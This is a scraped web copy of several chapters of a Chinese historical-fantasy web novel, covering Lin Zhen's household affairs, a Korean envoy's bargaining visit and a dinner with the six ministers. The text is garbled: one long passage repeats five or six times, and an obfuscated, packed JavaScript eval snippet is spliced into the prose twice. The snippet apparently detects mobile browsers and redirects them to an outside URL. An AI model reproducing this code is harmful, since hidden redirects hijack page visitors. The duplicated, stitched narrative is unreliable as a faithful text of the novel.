不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205739|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 林臻懒得去想这些事情,林安纳了房小妾,是好事儿,估计林震仙也很高兴。 尤其是这样的原因,林震仙肯定对他更为赞赏。 浣碧又说了很多关于王府内院的趣事,像不懂事的小厮毛毛躁躁地闯入了上官婉儿的别院,结果被他们的家丁打了一顿,上官婉儿还亲口说,以后再没有规矩就打断腿。 这是个守传统的女人,任何不守规矩的人都会被责罚,真不知道以后像晴雯、刘妙颜、青霞这样的小妾,该怎么和她相处。 但林臻估摸着,以刘妙颜的性格,是绝不会向上官婉儿低头的,晴雯还好些。 自从她有了身孕之后,性格在一点点地变好,也不欺负人了,也不毒蛇了,甚至得空就坐下给孩子绣肚兜、襁褓,美其名曰,为孩子积福。 刘妙颜是个闲不住的主,几次跟林臻提起要跟着陈宵去代县当土匪,林臻都拒绝了。 不是担心陈宵对她做什么,说实话,两人真动起手来,陈宵是打不过刘妙颜的。 林臻在意的,刘妙颜毕竟是自己内人,在代县那个风沙大的地方恪守边关,他有些舍不得。 可总圈起来也不是个事儿啊,为此林臻很是头疼。 他问到:“颜颜最近呢?” “颜颜姐和来福玩呢,最近府里忙着您大婚的事情,也没有人陪她,她就带着来福出城进山,昨天刚去,今天还没回来。” “唉,得给颜颜找点事情做呀,要不然她非憋坏了不可。” “妾身也这么觉得,只是现在天下太平,总不能找茬跟别国打仗吧。” “有了!”林臻眼睛一亮。 他想起,自己现在力气大得惊人,但是却没有像样的武功,以后就让刘妙颜教自己练武! 以她的功底加上自己的力量,不需要多久就能成为大乾第一武将! 想想林臻就有些兴奋,恨不得现在就派人把刘妙颜叫回来。 “等颜颜回来你告诉我,我给她安排个好活计。” “嗯,但是世子,晴雯肚子越来越大了,恐怕已经不能再去车马行了,要不您再派个人去?” 林臻一拍脑门。 浣碧不说自己永远也想不起来。 “这妮子还往车马行里跑呢?” “对呀,王爷也劝过,但是晴雯的性子您也知道,您不说话,她哪里会同意?毕竟她可是总是把‘以色侍人,如何长久’挂在嘴边呢,她一直想为您做点什么。” “那也不能天天出去啊,这天寒地冻地,万一摔一跟头,王府还不炸锅了。” 林臻都不敢想象,如果晴雯孩子掉了,她会受到什么伤害,更不敢想她会受到什么打击。 不行,这必须得保护起来。 现在晴雯和青霞就是王府重点保护对象,不能出任何差池。 甚至林震仙为了抱重孙子都亲自出马了,一旦出现问题,必定引起大乾震动。 “碧儿,等晴雯回来你就告诉她,不要再去车马行了,让她委派一个信得过的手下先打理着,等分娩之后再说。” “是,妾身知道了。” “世子!”书房的门被推开,侯春从外面走进来,双手抱拳,说道:“启禀世子,韩国使者,在府外求见。” “韩国使者?” 林臻低下头。 自己与韩国的任何事情都没有往来,这韩国驻大乾使者,怎么会来突然来自己府上呢? 难不成是煊赫门? 仔细想想也就是煊赫门最有嫌疑,不过没关系,先听听他怎么说。 “让他进来。不过.不要走正道。” 侯春神色一凛,表情有些凶狠地说道:“末将遵命。” ” 第380章 十分有十二分的不对劲 古朴幽香的会客厅内,暖烘烘的炭火盆里不时发出轻微的“噼啪声,火星跳跃,将室内烘得暖意融融。 厅内布置典雅,雕花的窗棂透进几缕柔和日光,洒在地上,仿若铺就的金纱。 墙壁上挂着几幅古意盎然的字画,笔锋苍劲,墨香隐隐,与四周摆放的珍稀古玩相互映衬,彰显着此间主人的不凡品味。 说是好看,其实这些东西都是当初从顾云霆地下钱庄里搜刮来的,像那些名人字画,古董花瓶等等,后来实在没地方摆放,卖掉又可惜,所以林臻拿来装饰府邸之用。 话说回来也对,好歹也是堂堂摄政王府邸,光靠绿植衬托怎么能行?那也太寒酸了。 以后老爷子殡天,这也算是留给子孙后代的资产。 林臻闲适地坐在梨木雕花椅上,手中轻轻把玩着游龙玉佩。玉佩通透碧绿,触手生温,在指尖流转间散发着柔和光泽。 这是他最喜欢的玉佩,也是跟着他时间最长的,同样是落在司马椿蕾那里的那块。 这么久了,林臻从没换过。 一旁桌上,浣碧刚送进来的茶盏正袅袅升腾着热气,茶香四溢,弥漫在空气中,与室内的古朴气息交融。 林臻端起茶盏,轻轻吹散热气,浅抿一口,茶汤入喉,甘醇爽滑,令他眉眼舒展,一副惬意又云淡风轻的模样。 此时,侯春引着韩国使者踏入会客厅。 那使者身着传统韩服,衣料上乘,色彩素雅,腰间束带佩玉,走起路来玉佩轻撞,发出清脆声响。 他目光在厅内环视一圈,最终落定在林臻身上,先是恭敬的双手抱拳作揖,深施一礼,朗声道:“大乾世子在上,在下大韩驻乾国使者金俊煕,久仰世子大名,今日得见,实乃荣幸之至。 大家说的都是汉语,但他说话的时候稍微带点口音,还行,也算根正苗红。 如果是棒子国,林臻肯定一点好脸色没有。 林臻放下茶盏,嘴角勾起一抹淡笑,抬手虚扶:“金使者不必多礼,请坐。 言罢,示意侯春看座。 金熙俊谢过,端正坐下,双手交叠置于膝前,态度十分恭敬。 要说他在大乾京城待得时间也不短,甚至这位爷不好惹。 以前是打架杀人,后来是五千破十万。 这样的英雄人物轮不到他放肆。 他目光望向林臻,眼中闪过一丝精明:“世子,在下此番前来,实是有事相求。 “但说无妨。 “是, 在下偶然间得世子所酿之二锅头,品尝过后觉得酒香醇厚,回味悠长,但是价格昂贵,在下囊中羞涩,但又有一颗爱国的心,想着世子能不能再韩国也建个酒坊。您放心,韩国绝对不会受您的税,只求以飨国民。” 林臻靠向椅背,手指有节奏地敲击扶手,挑眉轻笑:“使者有所不知,二锅头不是我酿造的,而是皇家。此酒乃我大乾特产佳酿,酿造工艺世代相传,凝聚无数匠人心血。若只是想购买些许回去供你们皇室品尝,倒也无妨,可若想引进,在韩国开设酒坊,那是绝无可能。这酿酒之法,关乎国本,断不能轻易外传。” 金熙俊就找到林臻会拒绝,也不着急,微微前倾身子:“世子,还望您通融通融。为表我国诚意,我们愿在大乾境内开设琉璃工坊,共享这琉璃烧制技艺。您瞧——” 说着,他顺手从怀里掏出一个琉璃瓶子,轻轻置于茶几之上。 这个瓶子很小,众人目光齐聚,却见那所谓的琉璃瓶子,不过是个做工粗糙的物件。 瓶身虽有几分剔透之感,可凑近一瞧,便能发现其中布满了星星点点的杂质,在日光映照下,显得颇为斑驳。 瓶壁厚度不均,线条也不够流畅,拿在手中,质感生硬,全然没有上乘琉璃该有的温润细腻,倒更像是个勉强成型的玻璃杯,与这会客厅内的精致古玩相比,显得格格不入。 金熙俊眼中却满是自得,抬手示意:“世子请看,这便是我韩国工匠手艺,若工坊建成,此类精品源源不断,而世子便可以掌握着货品源头,大肆发财啊!哈哈哈哈,这般诚意,换二锅头配方,绰绰有余吧?” 呵,就知道你们韩国没一个好东西。 说实话,这琉璃在林臻看起来是垃圾中的垃圾,后世五块钱能买两斤。但是在古代,琉璃向来是稀有东西,正所谓物以稀为贵,所以不管是什么成色的琉璃,价格都居高不下。 但是很明显,这个金俊熙的目的明显不是什么二锅头。 甚至说,他什么目的,林臻已经知道了。 林臻目光扫过琉璃瓶,嘴角勾起一抹冷笑,语气冷淡:“哼,使者怕是高估此物价值,在我看来,这瓶子一文不值。侯春,送客。” 金熙俊见状,顿时有些着急。 他忙起身挣 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可偏偏韩国就在南方边上,现在韩国商贾根本就别想进入大乾,更别说其他奸细之类的。 这让韩国很是困扰。 除此之外,金俊煕肯定还有别的目的。 林臻依旧摇头,不耐之色尽显:“莫要在此与我兜圈子,有话直说,我没功夫陪你瞎闹。你若拿不出真正底牌,今日这会面,便到此为止。” 金熙俊面露难色,双手紧握又松开,犹豫再三,终是长叹一声:“世子英明,既如此,我便直说了。我国知晓大乾对铁矿石需求很大,但大乾境内又没有多少铁矿。幸好,我们韩国境内有几处富矿,若大乾愿与我合作,共享二锅头酿造,我国愿以矿石供应为交换。” 用酒换矿石? 这他妈是一国之君能想出来的? 拿我当三岁孩子呢在这。 林臻目光微凝,手指停住敲击,思忖片刻后缓缓开口:“此事重大,非我一人能决。使者且先回驿馆歇息,待我禀明父王,再行商议。侯春,送客。” “是,金使者,请。”侯春领命。 金熙俊虽心有不甘,也只能起身告辞。 待使者离去,林臻起身踱步窗前,望着庭中被雪压住的枯树,目光幽深。 片刻后,他喊道:“猴子,立刻派人去请六部尚书来,在王爷的静心园内碰头。” “是!” 第381章 六部齐聚 寒冬腊月,夜幕深沉如墨,王府静心园仿若一幅银白的水墨画。 雪早已停歇,地上积着厚厚的雪层,宛如松软的棉被,将园中的一切轻柔覆盖。 园中的树木被积雪压得枝丫低垂,每一根枝条都裹着晶莹剔透的冰棱,在黯淡的光线下闪烁着冷冽的光。 湖面早已冰封,宛如一面巨大的镜子,平滑而又寂静,只有偶尔飘落的残雪,轻轻触碰冰面后,又被寒风吹向远处。 蜿蜒的回廊上,积雪清扫干净,几盏烛灯在风中摇曳,昏黄的光晕勉强照亮前行的路,远远望去,仿若一条在雪夜中沉睡的长龙。 此刻,静心园内的一座楼阁中却灯火通明,暖意融融。 六部尚书应命而来,他们一路踏雪而行,有说有笑。身上的官服外都罩着厚厚的貂皮大氅,帽檐、领口处的绒毛上还有零星的几片雪花。 “哈哈哈哈,世子居然突然要请客,这可得大吃一顿啊! “就是,老夫自从出任尚书,还没吃过世子的呢,今天必定好好品尝一番! “估摸着世子不会光想请客,肯定还有别的事情,一会儿你们别喝高了。尤其是刘尚书,你是王爷的亲兵,等会儿多陪王爷说说话,少喝酒! “哈哈哈哈,那是一定! 大婚之前宴请六部尚书,这在大乾还是第一次出现,所以众人都很好奇是什么事情,非要把他们这群互不相干的人撺掇到一起。 刚踏入楼阁,一群俏丽的丫鬟便轻盈地迎了上来,她们身着粉色的夹袄,外披月白色的披风,面容姣好,眼眸灵动。 为首的丫鬟福了一福,轻声说道:“大人们一路辛苦了,且容婢子们伺候着宽衣。 说着,便有丫鬟手脚麻利地为各位尚书解下貂皮大氅,轻轻抖落上面的积雪,再仔细地挂在一旁的衣架上,动作轻柔且娴熟。另有两名丫鬟提着香炉,在衣服下面来回扫过。 屋内,熊熊燃烧的炭火盆散发着炽热的温度,将逼人的寒气驱散。 一张宽大的雕花餐桌摆在中央,桌上摆满了珍馐佳肴,热气腾腾,香气四溢,与屋外的冰天雪地形成鲜明对比。 六部尚书们纷纷走过来作揖。 “下官参见王爷,世子。 林震仙身着一袭深紫色的厚锦长袍,满头银发整齐束起,虽年事已高,面容却透着矍铄之气,眼眸深邃。 林臻则穿着一身雪白的锦袍,领口和袖口以银线绣着精致繁复的云纹,腰束玉带,头戴玉冠,剑眉星目,英姿勃发, 手中把玩着玉佩平添了几分儒雅闲适。 见大家作揖他立刻站起来笑道:“哈哈哈哈诸位大人辛苦请入座。” 按照身份现在的大乾是武胜文弱所以兵部尚书刘恺威坐在林臻和林震仙对面其次是户部、工部、吏部刑部与礼部。 众人落座后林震仙苦笑一声:“行了既然大家都来了臻儿你也别藏着掖着有什么事情赶紧说吧。” 其余人也很期待然林臻却卖了个关子。 “不急这天寒地冻地我们还是先吃饭吧。” 林震仙摇了摇头不知道这小子葫芦里卖的什么药。 但现在众人都在他也不能直接问只要先吃饭。 众人纷纷入座每位尚书包括林震仙和林臻在内身后都亭亭玉立地站着一位丫鬟她们身姿婀娜面带微笑手中或端着酒壶或拿着干净的巾帕。 只不过林臻身后站的是浣碧而林震仙身后站的居然是青竹!! 一时间屋内酒香四溢碗筷交错杯盘碰撞之声不绝于耳。 丫鬟们眼观六路适时地为面前的大人倒酒动作优雅轻盈涓涓酒液入杯未溅出半滴;见哪位大人面前的菜品稍有空缺便立刻用银筷夹上美味佳肴轻轻置于盘中;偶尔有不小心洒落的汤汁也能迅速用巾帕擦拭干净 这种伺候让六部尚书都有些不太适应尤其是刘恺威他可是知道林震仙是什么脾气秉性的。 老爷子虽然位高权重但向来清正廉洁怎么会搞得这么奢侈?吃这么好的东西?还一人给配一个丫鬟呢? 其余尚书也都是面面相觑他们确实没享受过这么好的伺候。 这其中有没来过王府的还以为人家家里向来如此回去后自己怎么样也得弄一个。 但这看似寻常的家宴氛围下实则暗流涌动每个人都清楚今晚这场餐聚有着关乎大乾国运的事情要商量否则林臻不会把六部的头头都喊来。 林臻把一个鱼头嘬得滋滋冒油随即擦了擦手又擦了擦嘴自顾自的喝了口酒说道:“其实今天把诸位大人喊来也没什么大事就是今天韩国使臣来府上了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 